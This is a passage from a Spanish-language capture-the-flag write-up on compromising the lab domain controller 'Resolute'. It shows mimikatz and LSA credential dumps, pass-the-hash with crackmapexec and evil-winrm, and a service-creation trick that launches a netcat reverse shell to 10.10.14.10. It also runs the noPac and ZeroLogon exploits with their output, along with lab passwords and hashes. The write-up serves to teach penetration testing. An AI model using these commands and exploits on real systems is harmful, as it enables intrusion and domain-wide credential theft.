    Random Value : 7b31399b121f8e5bdf469e17ae1356c6

* Primary:Kerberos-Newer-Keys *
    Default Salt : MEGABANK.LOCALAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 2c729d2a189d5ffdf4792a66eee8e7d37a6e5c37b57a722c307791e7a466f741
      aes128_hmac       (4096) : e175930b43cf0835cf361c9cb8d964b1
      des_cbc_md5       (4096) : 235e4979aeba1073
    OldCredentials
      aes256_hmac       (4096) : 2c729d2a189d5ffdf4792a66eee8e7d37a6e5c37b57a722c307791e7a466f741
      aes128_hmac       (4096) : e175930b43cf0835cf361c9cb8d964b1
      des_cbc_md5       (4096) : 235e4979aeba1073
    OlderCredentials
      aes256_hmac       (4096) : 2c729d2a189d5ffdf4792a66eee8e7d37a6e5c37b57a722c307791e7a466f741
      aes128_hmac       (4096) : e175930b43cf0835cf361c9cb8d964b1
      des_cbc_md5       (4096) : 235e4979aeba1073

* Primary:Kerberos *
    Default Salt : MEGABANK.LOCALAdministrator
    Credentials
      des_cbc_md5       : 235e4979aeba1073
    OldCredentials
      des_cbc_md5       : 235e4979aeba1073

* Packages *
    NTLM-Strong-NTOWF

* Primary:WDigest *
    01  91d77b763419caa3973e11cacc2d59cc
    02  2c3a6f5ad26aeb2819d9ce611b90a35f
    03  7815cefe27f394fd55216e1ec54ca158
    04  91d77b763419caa3973e11cacc2d59cc
    05  20c81a2f0b5c2a080e1c2c08c223d69d
    06  e1abc92660dad9e213cb9d8b70bcda63
    07  5f32254b44640e8388a50832bcb2a9e7
    08  461dd2fc6e26a0c0acf16af21a98d127
    09  e4ebf46e13a38f2901d2db11ea5fd0dd
    10  8ab7d906f3b895edb6c709524fbf48e4
    11  282391b1c74048cf638427e282869368
    12  461dd2fc6e26a0c0acf16af21a98d127
    13  0a9f3c43c6c1885920c2337a1dbd27df
    14  c7e047e3eda87eaf6ef73659192a7898
    15  5d92b1e301884321b726ecc2491e25d2
    16  879e859163b32b242c0011a0bb2ce79c
    17  aac3711d21bbd96520f8a2dd71074ecb
    18  e181af49d8c3b61a62990d6f2c499be9
    19  c590b598f165c5f0b53f017ddd223504
    20  2ab65648babb676a040447fd3fb0d3b9
    21  fb15a4946f8d87aa7b9f4d5d034b0c9f
    22  4a13fe33fb8b3a2881cb953661c87121
    23  5e29b701b5f635c54a593528bfa55afa
    24  0838febb09c3c06b2757888a712da47d
    25  f0480b30c53e510face8f23d84ff3314
    26  419dea986b67479108bfa84d4355613d
    27  a15ac20b287869446e5c80fd80950b4a
    28  9e1c72574ed84da585e55506edc141cd
    29  51ec7801faef118241d52e6c91eeda66


mimikatz(commandline) # exit
Bye!
PS C:\ProgramData>

Comprobamos el hash NT de Administrator con crackmapexec y devuelve Pwn3d!

❯ crackmapexec smb megabank.local -u Administrator -H fb3b106896cdaa8a08072775fbd9afe9
SMB         megabank.local  445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)  
SMB         megabank.local  445    RESOLUTE         [+] megabank.local\Administrator:fb3b106896cdaa8a08072775fbd9afe9 (Pwn3d!)

Al tener privilegios maximos sobre el equipo se nos permite dumpear los secretos lsa, al hacerlo se nos muestra la contraseña de Administrator en texto plano

❯ crackmapexec smb megabank.local -u Administrator -H fb3b106896cdaa8a08072775fbd9afe9 --lsa
SMB         megabank.local  445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB         megabank.local  445    RESOLUTE         [+] megabank.local\Administrator:fb3b106896cdaa8a08072775fbd9afe9 (Pwn3d!)
SMB         megabank.local  445    RESOLUTE         [+] Dumping LSA secrets
SMB         megabank.local  445    RESOLUTE         MEGABANK\RESOLUTE$:aes256-cts-hmac-sha1-96:7677984257973a39a999fcae01caf323b9d7814869da1dc6b01ed9ca8d7c815f
SMB         megabank.local  445    RESOLUTE         MEGABANK\RESOLUTE$:aes128-cts-hmac-sha1-96:55d89826fbeb7245b7259c0970d9c60a
SMB         megabank.local  445    RESOLUTE         MEGABANK\RESOLUTE$:des-cbc-md5:ba8c3408c458864a
SMB         megabank.local  445    RESOLUTE         MEGABANK\RESOLUTE$:plain_password_hex:41f90985ad45b6401c7aca14776ac1ff950b5488e2e393790d4e8d53aa449ffd24720206677fd86ba8c61d42f0494c9680c5c38eba10a912f2175bcb6541314849f22e457cf8810299566d6707afa57a975e11065b6ea24c3b8cecd798f4c41938d982628b5357ba7de944931e8c3da93020918cc9fb6123a7602237044e902121d9af7d59771c9bb6027c133ab7f48427104c539fc52f46643c0772daf084d136d3a5d2d2e87fe732f49f6def826eeb6efc9eac75ca0d6104eadb4084e063d0f85facc7466cfbecec905180f8a962c896085e8781c2e4cfab3728842be98792be0156d696e38cd91789b0a5c67a9eb6  
SMB         megabank.local  445    RESOLUTE         MEGABANK\RESOLUTE$:aad3b435b51404eeaad3b435b51404ee:4e4bbb1929a7490e135200157c19f3ae:::
SMB         megabank.local  445    RESOLUTE         MEGABANK\Administrator:DontH4ckUsPleeze!
SMB         megabank.local  445    RESOLUTE         dpapi_machinekey:0x13ec6ea2ad3cf2929ab3ac9fcde6a1140342eac5
dpapi_userkey:0x1bd8bda5c9814300b9a581fb468e78261a936302
SMB         megabank.local  445    RESOLUTE         NL$KM:d8337f7ba32cde15cfb49a10373f6ba94e4946705727e81ee8a911a81def190ccc4392f39cc7511a06566d60da73227481ecb49f69fc6a8ac852e6f503560d59

Comprobamos que la contraseña sea valida y nuevamente nos devuelve un Pwn3d!

❯ crackmapexec smb megabank.local -u Administrator -p DontH4ckUsPleeze!
SMB         megabank.local  445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)  
SMB         megabank.local  445    RESOLUTE         [+] megabank.local\Administrator:DontH4ckUsPleeze! (Pwn3d!)

Podemos simplemente conectarnos con evil-winrm usando la contraseña del usuario Administrator y asi obtener una powershell y leer la flag final root.txt

❯ evil-winrm -i megabank.local -u Administrator -p DontH4ckUsPleeze!  
PS C:\Users\Administrator\Documents> whoami
megabank\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
004**************************5a8
PS C:\Users\Administrator\Documents>


Extra - Pwn3d! (ryan)


Antes habiamos visto que crackmapexec al pasarle las credenciales del usuario ryan nos devolvia el mensaje Pwn3d! aunque este no tenia privilegios en los recursos

❯ crackmapexec smb megabank.local -u ryan -p Serv3r4Admin4cc123!
SMB         megabank.local  445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)  
SMB         megabank.local  445    RESOLUTE         [+] megabank.local\ryan:Serv3r4Admin4cc123! (Pwn3d!)

❯ crackmapexec smb megabank.local -u ryan -p Serv3r4Admin4cc123! --shares
SMB         megabank.local  445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)  
SMB         megabank.local  445    RESOLUTE         [+] megabank.local\ryan:Serv3r4Admin4cc123! (Pwn3d!)
SMB         megabank.local  445    RESOLUTE         [+] Enumerated shares
SMB         megabank.local  445    RESOLUTE         Share           Permissions     Remark
SMB         megabank.local  445    RESOLUTE         -----           -----------     ------
SMB         megabank.local  445    RESOLUTE         ADMIN$                          Remote Admin
SMB         megabank.local  445    RESOLUTE         C$                              Default share
SMB         megabank.local  445    RESOLUTE         IPC$                            Remote IPC
SMB         megabank.local  445    RESOLUTE         NETLOGON        READ            Logon server share 
SMB         megabank.local  445    RESOLUTE         SYSVOL          READ            Logon server share

Para entender el porque necesitamos leer un poco el codigo de crackmapexec, iniciamos con el conf que define la variable pwn3d_label con el mensaje Pwn3d!

[CME]
workspace = default
last_used_db = smb
pwn3d_label = Pwn3d!
audit_mode =

Después vamos con el smb.py podemos ver que si self.admin_privs esta en True este mostrara pwn3d_label lo que equivale a ver el mensaje Pwn3d! por la consola

if self.admin_privs:
    self.db.add_admin_user('plaintext', domain, self.username, self.password, self.host)

out = u'{}\\{}:{} {}'.format(domain,
                             self.username,
                             self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,  
                             highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))

Nuevamente en el codigo de smb.py encontramos que self.admin_privs se setea a True si en los privilegios de los servicios son iguales a el codigo 0xF003F

try:
    # 0xF003F - SC_MANAGER_ALL_ACCESS
    # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
    ans = scmr.hROpenSCManagerW(dce,'{}\x00'.format(self.host),'ServicesActive\x00', 0xF003F)  
    self.admin_privs = True
except scmr.DCERPCException as e:
    self.admin_privs = False
    pass

Si miramos los privilegios del SCM o Service Control Manager, con sc.exe nos devuelve un sc.exe con los privilegios representados en la sintaxis SDDL

PS C:\Users\ryan\Documents> sc.exe sdshow scmanager

D:(A;;KA;;;S-1-5-21-1392959593-3013219662-3596683436-1105)(A;;CC;;;AU)(A;;CCLCRPRC;;;IU)(A;;CCLCRPRC;;;SU)(A;;CCLCRPWPRC;;;SY)(A;;KA;;;BA)  

PS C:\Users\ryan\Documents>

La primera parte de este corresponde a los privilegios del SID perteneciente a ryan

PS C:\Users\ryan\Documents> Get-AdUser -Identity ryan | Select SID  

SID
---
S-1-5-21-1392959593-3013219662-3596683436-1105

PS C:\Users\ryan\Documents>

Mirando lo correspondiente a la sintaxis en SDDL vemos que ryan tiene el privilegio KEY ALL ACCESS correspondiente al codigo 0xF003F que compara crackmapexec

“A”     ACCESS ALLOWED
“KA”    KEY ALL ACCESS  0xF003F

Para intentar explotarlo podemos crear un nuevo servicio que nos ejecute el netcat.exe en el arranque para enviarnos una shell, y aunque nos deja crearlo al intentar iniciar el servicio nos devuelve el mensaje Access is denied

PS C:\Users\ryan\Documents> sc.exe create test binpath='C:\ProgramData\netcat.exe 10.10.14.10 443 -e powershell'  
[SC] CreateService SUCCESS
PS C:\Users\ryan\Documents> sc.exe start test
[SC] StartService: OpenService FAILED 5:

Access is denied.

PS C:\Users\ryan\Documents>

Después de buscar un poco, podemos encontrar la investigación de vbscrub el cual nos explica que al usar la función CreateServiceW y especificar el nivel de acceso el ACL no nos aplica ninguna restriccion, asi que al especificar SERVICE_ALL_ACCESS podemos tener control total sobre el servicio creado por lo que podemos ejecutarlo

' Connect to SCM (Service Control Manager) and get a handle that allows us to create services by specifying SC_MANAGER_CREATE_SERVICE. 
' Would fail with access denied here if we don't have permission to create services)
ScmHandle = WinApi.OpenSCManager(Nothing, Nothing, WinApi.SCM_RIGHTS.SC_MANAGER_CREATE_SERVICE)
If ScmHandle = IntPtr.Zero Then
    Throw New Win32Exception()
End If

Try
    ' Create a new service and get back a handle to the service (that can then be used with StartService function and other service functions). 
    ' We specify SERVICE_ALL_ACCESS so that this handle allows us full control over the service (to start it, stop it, delete it, etc) and for some  
    ' reason this works. If we try to request this level of access afterwards by using the OpenService function, it fails with access denied
    ServiceHandle = WinApi.CreateService(ScmHandle,
                                        ServiceName,
                                        Nothing,
                                        WinApi.SERVICE_RIGHTS.SERVICE_ALL_ACCESS,
                                        WinApi.SERVICE_WIN32_OWN_PROCESS,
                                        WinApi.SERVICE_DEMAND_START,
                                        WinApi.SERVICE_ERROR_NORMAL,
                                        ExePath,
                                        Nothing, Nothing, Nothing, "NT Authority\System", Nothing)

Para explotarlo podemos usar el exe creado con estas espeficicaciones y subirlo a la máquina aprovechando la función upload la cual esta incluida en evil-winrm

PS C:\Users\ryan\Documents> upload ServiceInstallTest.exe

Info: Uploading ServiceInstallTest.exe to C:\Users\ryan\Documents\ServiceInstallTest.exe  

Data: 20480 bytes of 20480 bytes copied

Info: Upload successful!

PS C:\Users\ryan\Documents>

El exe requiere 2 argumentos, el primero es el nombre del servicio y el segundo el comando a ejecutar, como comando le pasearemos el netcat.exe con una revshell

PS C:\Users\ryan\Documents> .\ServiceInstallTest.exe pwned 'C:\ProgramData\netcat.exe 10.10.14.10 443 -e powershell'  
Error: Service has been created but was unable to start due to error: The service did not respond to the start or control request in a timely fashion  
PS C:\Users\ryan\Documents>

Después de ejecutarlo aunque devuelve un pequeño error crea el servicio y al iniciarlo nos envia la powershell como el usuario nt authority\system

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.169
Windows PowerShell 
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt  
004**************************5a8
PS C:\Windows\system32>


Extra - noPac


Como alternativa podemos usar noPac, al explotarlo indicando el parametro -shell nos otorgara una cmd como el usuario nt authority\system directamente en el DC

❯ python3 noPac.py megabank.local/melanie:Welcome123! -use-ldap -shell -dc-ip 10.10.10.169

███    ██  ██████  ██████   █████   ██████ 
████   ██ ██    ██ ██   ██ ██   ██ ██      
██ ██  ██ ██    ██ ██████  ███████ ██      
██  ██ ██ ██    ██ ██      ██   ██ ██      
██   ████  ██████  ██      ██   ██  ██████ 
    
[*] Current ms-DS-MachineAccountQuota = 10
[*] Selected Target resolute.megabank.local
[*] Total Domain Admins 1
[*] will try to impersonate Administrator
[*] Adding Computer Account "WIN-DAOUEP3EGIZ$"
[*] MachineAccount "WIN-DAOUEP3EGIZ$" password = )fEZgf7rOoM)
[*] Successfully added machine account WIN-DAOUEP3EGIZ$ with password )fEZgf7rOoM).
[*] WIN-DAOUEP3EGIZ$ object = CN=WIN-DAOUEP3EGIZ,CN=Computers,DC=megabank,DC=local
[*] WIN-DAOUEP3EGIZ$ sAMAccountName == resolute
[*] Saving a DC's ticket in resolute.ccache
[*] Reseting the machine account to WIN-DAOUEP3EGIZ$
[*] Restored WIN-DAOUEP3EGIZ$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating Administrator
[*] 	Requesting S4U2self
[*] Saving a user's ticket in Administrator.ccache
[*] Rename ccache to Administrator_resolute.megabank.local.ccache
[*] Attempting to del a computer with the name: WIN-DAOUEP3EGIZ$
[-] Delete computer WIN-DAOUEP3EGIZ$ Failed! Maybe the current user does not have permission.  
[*] Pls make sure your choice hostname and the -dc-ip are same machine !!
[*] Exploiting..
[!] Launching semi-interactive shell - Careful what you execute

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>


Extra - ZeroLogon


Como alternativa podemos ejecutar la vuln de zerologon hacia el DC, el servidor es vulnerable y logramos cambiar la contraseña del equipo por una cadena vacia

❯ python3 cve-2020-1472-exploit.py RESOLUTE 10.10.10.169
Performing authentication attempts...
==========================================================================  
Target vulnerable, changing account password to empty string

Result: 0

Exploit complete!

Autenticandonos como el equipo RESOLUTE$ con una cadena vacia como contraseña podemos hacer un DCSync y ver el hash NT del usuario Administrator del dominio

❯ crackmapexec smb megabank.local -u RESOLUTE$ -p '' --ntds drsuapi --user Administrator
SMB         megabank.local  445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)  
SMB         megabank.local  445    RESOLUTE         [+] megabank.local\RESOLUTE$: 
SMB         megabank.local  445    RESOLUTE         [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         megabank.local  445    RESOLUTE         [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         megabank.local  445    RESOLUTE         Administrator:500:aad3b435b51404eeaad3b435b51404ee:fb3b106896cdaa8a08072775fbd9afe9:::

Ya con el hash NT del usuario Administrator haciendo un passthehash podemos autenticarnos con evil-winrm y obtener una shell como Administrator

❯ evil-winrm -i megabank.local -u Administrator -H fb3b106896cdaa8a08072775fbd9afe9  
PS C:\Users\Administrator\Documents> whoami
megabank\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
004**************************5a8
PS C:\Users\Administrator\Documents>